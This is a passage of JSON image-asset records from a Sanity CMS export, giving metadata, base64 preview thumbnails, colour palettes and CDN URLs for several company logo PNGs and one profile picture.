O/h9/D7pE/zZOA6gRSe5K7DvX4IVwnXc76gfCkDKUOpJq4b+346iWZJUqZplU616SRIgiD2/YnrhcoNlQqVDF0ZeSr2VOKrxJdpILPQncV+mUyqadTk8TyL53mqNVO/Tv0ydotYFbEsYqeInVnkzCJZxLJMZJXKZqoWubfI/XkeLstwVQddHXZ1pM2naj6Vi8xpc7HI2SKny4LVGS9TUaViFvMm410ldhu526iuUbtzeaVVm9bdtJ62U4idgnclW1W0zmmRskUhFpXbFG6Risgj2QS3Be5qslnSvV3W0/GeldCWBV8WpJ2Rec5Wi+Tbq+vrR/u3bx3eun7QtVmVTXaadNWEXeXsrcTBmm520LrF65asW6olIU0DlPp2FolrRwdPHt2/PH/++tfLVy9ffH968sPpyc8/3j09Ob5z/N2d48PDvazJcZnCMsVlSjSHQ8ktxUCo6NW99ZNHD/5+99d/n/799PGfP9+++fD+3ccP79/+8fub316f3b+3v6ljH4Wu7SsYKNzLgtmMWA7HSRTcvHHt4nx7ebF9fPbL9tnZxfn2xfNn26ePHz746eaNoziSDgcOB4IDzizNlVQwiAkgxKYMJ0m4/013pZs31XTRzObNrK7ypsrKIvY9TolJyIiSMSVjQkaaJ5lgiGATYxNhgDEQ3JbcFsxixMLIRHCE0RDjEcUmJeYXE+MhQoM+mzNIqckoYMwi/TAFA5wBRgHFJka9TMioBw8ZGXE6xtCwLF0jCGBkYjzuNTZm/CuUjgkeUjLEyEBogNAAf8UgyEDQsEAv2xgB8rkQQgOiAcQDTAxC+jCEdAh1aOvQ7gVoDyxLt4AO7QGChsYw4gxziqAFgGkAoJumbln92/78A6ZuAQPZIwSHtjWwgG4DHdkGJaP/Aaule14cEOTPAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f2718","foreground":"#fff","population":10.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2f2704","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2f2718","foreground":"#fff","population":10.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bcbc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4df84","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c9484","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebc314","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Company_Logos-Vidio.png","path":"images/sczeoy4w/production/816690c7e7f99100b966306cba5c177eb215ac51-1242x946.png","sha1hash":"816690c7e7f99100b966306cba5c177eb215ac51","size":578323,"uploadId":"DXgdA74C3j8H40uPQTEtdDypmut8Dslp","url":"https://cdn.sanity.io/images/sczeoy4w/production/816690c7e7f99100b966306cba5c177eb215ac51-1242x946.png"} {"_createdAt":"2022-06-17T08:37:36Z","_id":"image-1839f19bc89fc60b15925fd52da416feb32c3c66-130x130-png","_rev":"oamrAPLmQLQjd9jh7ZwD2I","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:36Z","assetId":"1839f19bc89fc60b15925fd52da416feb32c3c66","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eQMtU94o%g-n4n~q?a%MM|9G0K%200IVR*NHD%D%ayfRoexuInxuof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":130,"width":130},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFHElEQVQ4jV2UCUxUZxSFnwsgXdKSatGiNdpGY9uk1RRNF5s0mkprQxNNWqmKCsMgIOLCgMUNkIJaFYRaoyipS5VC2RRRhoGBGWRm2GRAEYuiAgo6LCIwjMx75zSPxdq+5H/bf++Xc+79cwWSwugCIK9XSboD2AogB0CTBFhFUbTZ7fYWURTVAHaRXAjAhcCY0Vz5+RxGchyA6QBWAThF0myzDVqa7rYNGCvrRUNVnVRVV2+71XS3q7P7yU273Z5G0h/AbACO/B9w/MhGOIAyAD2SJKHx9gMeSEjnSmUclaoDjD58gidTM6k3VsBi6eiTRLGG5M8A5g5BXwBOBxEOshbAM5Ls6xtAeqYe3yzfjg8+9cECjwB8u1oFf1UM9iYmQ28oZ29vn0jyNoA4AHNIjpVhcs1kmwYZBkDmofnBY8QkpuJrr3B4eavgvUaFH37cglW+KihDduPEmQy0PbLIwSKAOgDBJCfJQHeSpwA8GYUN2p7BVG7mpqgkeAVuR/SOWKbsO8RzhxNwJikeRw7GMys7D487uoYTACuACyQ95O6Eyg0AIGGYiJ7OLuZmXUJwaBS9lGFUqSKZdiSJ9ZfPs7Uskw26bNy5YabVah2Kl9Pk00AyQVYoHw3LyM+hgE5LB3LSsrljWzT9A8OoDApnXOQeZqUcYcWls2wsu8SOltsQ7fYRgZDvvSRrZIVNAAb+A+zsRlZmHmN2xnD75jBGbIngL7ujeXRvLDOSE1lbdIFP2u5TEsUXFcoN6hdG/IvP6zcowlx/j7HxZ7lWEUqFdxC3BaqYtCuap/fHsiQ1mQ/rDHzW2z1EwqhCcgguWx4gKdePff02mOtbcOh4HpeujKL7lz5c6unHDWtCGK7YzKhN4Sz86yx72+8Rkn0YiBFnIx9CT+9AS2tbt62q7j5TM00IjfwTK4J+o+faaC5YpOTCxT70/n4Dfb02MCgggrk5uezt6ZYVjTLkS36XSNqEUxmG/J0Hcjq9Ao5z/qIozPgwFItX7EfYvt+pCInh4qVKLlsewJCNO5hw+BhNBgOfdlkoDtogSdK/foF+AA3CR0v27HSbq7r52swgOE30wYSJPvj4q0hGHc3AoZPnGLI5irvCdjP9dAqNunzeqjWxvekGeh410/q0C/ZnNmAY3AwgWRAmK74YP0WR5uDq2+c0cR0d31iLme4qbIz9g4nncrE97hj3HTxKjfoia67peb26FHdrDXzYUIX2O9fR2dZMa3+fTZIkNcllwuvvBLk4T1X6O01RXHNy9REdJq2D63sbsXrrcSRnqHkgJRPb4k/jdPZFlJp0qDTp2FClR5P5Kv6uLsXNmgqptbm50Waz/UTSTXh5uv8YJze/2Y5vKWIcp/jednBdJ7rMCqRXUBIua4pRfFWH+LNZOHMhj+WVepgMJagxleBmpZ7VZVqpVFvUWlFedaS93TJPHoHC5E9iBYepCkfHqX5zndwUcU5uvnVvvh9k9Q6Op1FfxDv1RqZezme6Wo2KSj31pcU0XdXSbCyxGYoLG/Pzrvyam6v+3Fhe4zw0vpzfXi8Im0zCSzMCHCdM85vjMmt98LufbbnguyW+yVii7r3fYBQzNBqkFxSgzKST8rWF/doiTXNVqVZt0Gq2XcnNm3fufIaz53dLhOrKa4LgME0pvDLDf2gujpumGDvfI2LSfM8dHoERSQlGndrcVG/sT9cUIq1Qg7IK/UBOQWFDdl5+crmucHmVXuumLSgYNzxT7UJFhVn4B0rDriSoTIcxAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#642c44","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#091b61","foreground":"#fff","population":8.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#091b61","foreground":"#fff","population":8.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0d4c8","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9dbedf","foreground":"#000","population":0.19,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#617fa8","foreground":"#fff","population":0.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c8cbc","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"dhruv-sehgal.png","path":"images/sczeoy4w/production/1839f19bc89fc60b15925fd52da416feb32c3c66-130x130.png","sha1hash":"1839f19bc89fc60b15925fd52da416feb32c3c66","size":22934,"uploadId":"TqqAAyCiK8Lp7MYsnn7BpM0L4N3mfmat","url":"https://cdn.sanity.io/images/sczeoy4w/production/1839f19bc89fc60b15925fd52da416feb32c3c66-130x130.png"} {"_createdAt":"2022-06-17T08:37:24Z","_id":"image-804bed143777daf56188da7f10320a7344a2162a-596x454-png","_rev":"0HOthdQkSgJdYc0C9wbLYg","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:24Z","assetId":"804bed143777daf56188da7f10320a7344a2162a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V37_1d~qt7xu4nkDRjs.oea|000KjYbb_3M{D%IUWVof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3127753303964758,"height":454,"width":596},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC+0lEQVQokR3RS3PaVhQHcG0T2yCEnqAHIKT7vlcSemEhsJ1A3FDbxHYcXBzXabtMpt23Tb9Duum0q7hfpPlmHWXmLM7mN+fxlyxLdW3dc0zLUDryntx+qquyoSuapvRdB4iIZCVKS5TmPEmSiMcRiwWLIhbHTHIcczjoea6la3L74EmnvWdosq51DFMbhgGZZCSf4rSgcSIEjwQVjeTia0meZw2Hfdcx1W6r3XrSlfc1ta1rijNwkYh4MaVZSeKEccoZ5pwyznjEmeBUcMnuqU5f65mKIu8r8p7Wbelax3FsSKnIC56XNE4wJYQiygjllApGBcecAUolS2uDsScotHtGt7Nv6IrrOYgykRdRXrIkIYxijDBBmGLMKeYMMupjPIBIsjT55Gj2y8/vNxdnIPDHgc/jeFIeJmUpkoRQjDHEBBFGSTONjBDyAHABdAGUdFVePT/+5++//n38/OHD+9P1+mR1evrt2bPVcj6vp2WeZ2mWZ7NFffT8WVZVOJmMKLNDYPtjSVUOGIF/fPzty5f/Pj8+3j28e3l2/vb+/qcff3j3cL/bfff65npzuXlzu3378P3N3e78+nW9XA4xNke+pKvt0dC5ubn+9OenX3//uHq5rhfzi4uzu932bnd7e7tt8KvN5vLV5vrq/Ory/Orq5MULIIQDoDT2vShiy9XyzXb7zXqdFUUc82wSTcu0LLOiyLIim2RpkqUindBI8DiO0hQLESAkZXlWzarF8eLoeDGbVWkaR00QiFPUvJkggCFAEOKmCUAIMCachxB4ni1VdV3P5/ViXs9nZZElMYsFiQWNBGWcIIxCCEIEIG6iIpRggoLxyOmbhipLVT2fNbg+PCwnMYs4jgWJBOWcEooBAiEMQxBABBAGYeAP3J5tqpYma90D6fArrmZVliai2RZyiihFCEOIAIBhEPpBMPL9gef2+qZiqK2eLttWt2co0rSeV3U9nZZJxBkBFIfNaWAMYAhg0LCRO2hY11RburKvdZ5amjyw9aFj/g+DIKkUgE0idQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":9.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#072025","foreground":"#fff","population":0.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":9.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcdddd","foreground":"#000","population":1.82,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8fdae9","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7d7c","foreground":"#fff","population":0.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28b9d6","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Company-Logos-TalonOne.png","path":"images/sczeoy4w/production/804bed143777daf56188da7f10320a7344a2162a-596x454.png","sha1hash":"804bed143777daf56188da7f10320a7344a2162a","size":135531,"uploadId":"TK4lMb2AiRrtQFBakxihQSXgUpEOh4rg","url":"https://cdn.sanity.io/images/sczeoy4w/production/804bed143777daf56188da7f10320a7344a2162a-596x454.png"} {"_createdAt":"2022-06-17T08:37:31Z","_id":"image-45f04907ce0719f1793991ea36cb457f6f65d2cc-2500x3125-png","_rev":"oamrAPLmQLQjd9jh7ZwCta","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:31Z","assetId":"45f04907ce0719f1793991ea36cb457f6f65d2cc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dFK-C9TK00^5Gt:#z:b{00Mm?[oyQmL2E3nm1EJ5~XOA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8,"height":3125,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#182531","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d9529","foreground":"#fff","population":1.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f84241","foreground":"#fff","population":2.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1d3a3","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f84241","foreground":"#fff","population":2.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#56a05c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65d14","foreground":"#fff","population":0.44,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"OVO-logo-image-composition__1_.png","path":"images/sczeoy4w/production/45f04907ce0719f1793991ea36cb457f6f65d2cc-2500x3125.png","sha1hash":"45f04907ce0719f1793991ea36cb457f6f65d2cc","size":141040,"uploadId":"uQhrNc3AvOGGbAIu3F8rUGmSpV5vpkke","url":"https://cdn.sanity.io/images/sczeoy4w/production/45f04907ce0719f1793991ea36cb457f6f65d2cc-2500x3125.png"} {"_createdAt":"2022-06-17T08:37:35Z","_id":"image-3630ef334e05fedc0f511631dc37f19ed933f9b4-2500x2542-png","_rev":"0HOthdQkSgJdYc0C9wbMwH","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:35Z","assetId":"3630ef334e05fedc0f511631dc37f19ed933f9b4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eaM?#k.T00vzI..6I;Mzt5j]00VYT1R%$eVYt3EMr?tQ56M}-px]xZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.983477576711251,"height":2542,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAE10lEQVQ4jW2UC0zVdRTHD6BN8NFThlqpK9uypanTiSYvFbgqUVTTTaemlg6aV/FeES3RbImYj3ykkZuPgZqp6dT0gqYiWD5Q5F5QuCAvgXjE4D7gvv7fb/tfHtbm2b4752z/fX7nd875/YWkdAtAZ6z6sp3CmmPCgvjeNOnDadJ/T5N+KUz6IDZuF5f6nYgIKfGZTpl/jJKWnqPmfLbs1b4k/WjeOpimpNU06gpo1Blo0s+DUReIfW/7ca304irxVaFXUhOkJmXUM4EBBIYTmExSQ0vxMlYduoSSze0oWmuFSW/Ag5ULcGr6CMdXAwZWbRzX9+CBX3ylmcJF3op7rutH8lWScQS2AThPII8eu5G28mY2XfOw6iDxaJOF97RXlezZiZWH547fk34hKD7T6b/+VIPPe1cp3X3zBTAcgBbAVQCNBJwAFAIg3IDbCljNQM1JoGCdzZGXkFt2LVWXeTF3lPZ4e99dZ4w+bBgt4nC6VehAAEsB3Abg8DKe6mmouABLOTxlGbDkf2uru70lp/butiUt9zYFsThBbaW3QrX5U0j+RtLOTsP/hS6R9Djgqi+ENT+d1jspFlfhGgNNurk06QI9xiQf9br9XG5PfKvFXvp3cxv/abPB6XJDURR6PApUKQrYk6u+sR7uvKNQcpKBBzp1UFkw6ubQpHtBBQ5qarFuybtvbjphuENDnhGllfWorG3Eo/InLKmoZXVdI6vrmvi4up61jS2w1TUQl8+AZ5MV3k10oUhvplGXQqNuqAocVtfUuuf89QetOzOyePhsLq7fLkZW7n2e+D2Xp7P+ZHZuAS/nFfDS9XzcLChBnbmK7nPn3ExPfoJr2mwUr96CQl0kjLrnVeBgW7tjq9H8pPnijULm3TejpKIW94vKceNOEW/mP2S+qcyrOw9KYTRXo8FcSXfmKSt1iafx45KPULluKG8lBvDuKu8e9gewvN3hLG9ps9Nq74DD6UJ7h8Mb2+wdtLc7VKkx7B1OOMsqqOz4uZmxi9MwfsZrDBwi8O7zBnXKVBc6guR5kh1dQ+6e8H8m7k1BpxPMuUmuWF+B0E9XcEzMi5BAYcI8H2RrReq9r4RB8Li18LiMUBRPz570WFfudgMlpcSOvS7ELbzC4BgNIuc9xwERgomxgsQFIjiySC3Xj9amkWiuTENLTTXbW0GPu7tUUPEAVgtYZCR/2q9g/pIyhMd8zUmzXqeRwmlhwuAPhBPiRGBIFWVXsOByah8aNofj+v5DuHeuGqW3XKgsIiuKiMK/yAu/kmkbHVwwtxSRmu0MiRrHsA97c8zHwhCNYIpGOD5OxKUV8Wwc5EO99FfWPj/CsjU6rm3fl9udB3R/4EDSI+5dXYPvEmqwfM5Dzo6+wOiwJEZEjGGEpg/9NcKIcGGYprM67/9xuQhXS29Xsv+gxxsmvHkybfPIS5u+mdi8ImImvxj9ORaOXYM545IYO3Yxo8eHMvr9wZwV1YvvhAhDQoVTNcLJM4XBMV1AVSulV03KuwOP7E5/Q5thGfbZcb5kWKXvwxkB/REz5BXEvvUyP5nQj4tn+Xnfv2aSIDRKGDZTqPopmk6YalGnKZwucvSH3QH6Q7VDlmW4BiZm2nolTV7UeZgK6CvCUf4CjQimhgmnRXSCQiOF4VO9vtv+BdOgU+ArjpVhAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a4e3f","foreground":"#fff","population":0.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c0b06","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5a4e3f","foreground":"#fff","population":0.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5bbd0","foreground":"#000","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcec7c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#677694","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65c13","foreground":"#fff","population":0.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"mirakl-logo-image-composition.png","path":"images/sczeoy4w/production/3630ef334e05fedc0f511631dc37f19ed933f9b4-2500x2542.png","sha1hash":"3630ef334e05fedc0f511631dc37f19ed933f9b4","size":188228,"uploadId":"l126FP1o7hIB7zcCQzfnRgkco0AZ1NTC","url":"https://cdn.sanity.io/images/sczeoy4w/production/3630ef334e05fedc0f511631dc37f19ed933f9b4-2500x2542.png"} {"_createdAt":"2022-06-17T08:37:41Z","_id":"image-ba28fc3a520625f209383c990e9d8a2481d9327a-2500x2542-png","_rev":"0HOthdQkSgJdYc0C9wbNSk","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:41Z","assetId":"ba28fc3a520625f209383c990e9d8a2481d9327a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eXKKQx-#00RP551BM}w?k9$w00n..3WZ%MxVS%wZs;NfD~nh-;X8M#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.983477576711251,"height":2542,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAE3UlEQVQ4jVWTC0yVZRjHn/dw8QZIlga4dMNypWleWlMTlBIbiM7LnJelZaZ+L2hSahrKlpflqlVW0CwnJs5qjSXYOAdBFDRDRcK7luIVMQQFDp4Lh/P9/+07CLNne/Z/97zf+3v/z7vnE2VQlO5ICSiUaHZTmmFKs7syIGLQqvVXBpOU5gxl8HmlGWrtqc6zndEJlIAiRAw+qzTmKM2VNs15IWkcHrqcQ4NSmWbTtCvNMqW5XmnGKk3VBbQutrSzYOsoDlCaHyrNCjFwXQxWyjL+KMu4XZbxpBhwiwGf0ixSGvFBqVQ2/ZhL4xEwsDAYrDQTrI/FoM+WSoatpD9mHZyxmWwauJ5tfVeT3VcQSvOUGJgTlMqI4DQqeYciSxjo1mpTglIpwWkMUZrJSuMPCzRsM7BgF7CpEMw6DG4rJdfuA1KygdgNrO2xAjnKwEKlMVppRIrucPvoQSF91wQKI6LXcldKNpq/KwerbwP1TsDpIZrdwK0HxOG/ycz98I3+hA3dV/CsGNijNGYrzadshiky8UtKzjFK+q+Uxbl8+quD+Kj0Mm7WO0ETANmVtLStHbj8L7jFDg752ERwKprFQL7SnCyaIUJSjl5hQNvaMdjj49c+PxsAkzTbQZgWyYouNUGcv+XHB7td6J/uoTLMWqW5wWagrwAUv0kxTYQSSCF5BH5fu8/VQHfLXbhcrXjo8bKp9SEbm51oaHbiQasLzU0ulpbWYXpGLXst9bSI5vZgbcYKACEggBkBMA0wr7lb6njj4mFUVZag7FQViyvPMa/8JH86+Cf3Ha3koeqLrL17D3eravDpxirGvnuvSQx+E5JqDrRaVVa78Lf1AbmOZnvd/bpLrCjNNfMLcvDDbwXYllfELXvyA7mzsIyFx0+jtr4B3nNXULDpgJmw6NLFoKX+NNt7jAi8XQD4oPJJ+j2rYfpuOhuu8+rZEpw/cxQnzl3AkTOXeaDyLA9WnWf1lRu4eqceLpcb5l8XeDoj9176XMf3kYudo2QrbR2wVFG4kNGHnjtvwe+panc1mN7m2/C6W+DxttHl8cLpctPp8sDt8aKt3Q+43UTxEX+T3nz88KTM2eMW/tNrh4wRCUyhI9qGQyPC2Hx6DPzenfB779P0WVPSGf9bwxqjm7eJ7BwXZi7Za748dbhlzD1vgQjygwTlY23cH9YDNVlR9DbOp89VBr/PE5i8xwaxC9vYCOT/TupVNUyYucZ8ZVo/y5gnbqYI7VHC4kE22GN6svSFCNTsGYzbJ9bg7qVqNNW1wdNK+LxEm5dobSGuXSH25ZGr1jRgyqzdeDV5rC9hXggHxAnHTekAwh5lo6N/DziiwlE0LBJF7w9HyecbWJ5zHCcK7rOqxMeKIhOFP/uZtdXN5Yuvc1pKLidOTmZ8crjljhMnCMenPHLoiLbRHtWTjpjecERHcG+/J5g1cji/TF7EL+Z/y88W2blx4TGmzyrnm2/8gpT4dZwUP46vJ0ZwxhzhyEjha8nCsdPEgnUAHdE9YY/qDUdMBIufCWden0hm9urHt2Oe44LB4zl3SDKnD01k8kujmDQmitMTQwLOBr0oTEwRjk8SjptqATsdRvegIzoc9qhw2mPCeGBgOCuGdSNrhRnZwvWzbNyxKfATBEChIoxL7HCWMEk4YbIwLkn+A6ec53nCaCNsAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a3e2f","foreground":"#fff","population":0.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042390","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0569fa","foreground":"#fff","population":11.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c7ca","foreground":"#000","population":0.15,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5d565","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c64a4","foreground":"#fff","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0569fa","foreground":"#fff","population":11.63,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Swift-logo-image-composition.png","path":"images/sczeoy4w/production/ba28fc3a520625f209383c990e9d8a2481d9327a-2500x2542.png","sha1hash":"ba28fc3a520625f209383c990e9d8a2481d9327a","size":203056,"uploadId":"GAQ6dHsTGXM1JQC1fC6oH1LfTVYxnwxI","url":"https://cdn.sanity.io/images/sczeoy4w/production/ba28fc3a520625f209383c990e9d8a2481d9327a-2500x2542.png"} {"_createdAt":"2022-06-17T08:37:45Z","_id":"image-95c17ac4bf2fcec27372f4270a121f7d2b2d67ee-2500x2500-png","_rev":"qkpX9b3U0TpOGFQp8gRjnS","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:45Z","assetId":"95c17ac4bf2fcec27372f4270a121f7d2b2d67ee","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eQFNxX}$D%5a0}}$x]NKMxI^E8Rjoza%$dIonTJCJ%-7K0WYI:WY,]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAFW0lEQVQ4jVXUaUxUVxQH8HNnYWQVyuK7oJUhiMCAUmeGTRYRsYqgzMYmCC7IjKzDriiC7UgxJgKtNBK1ik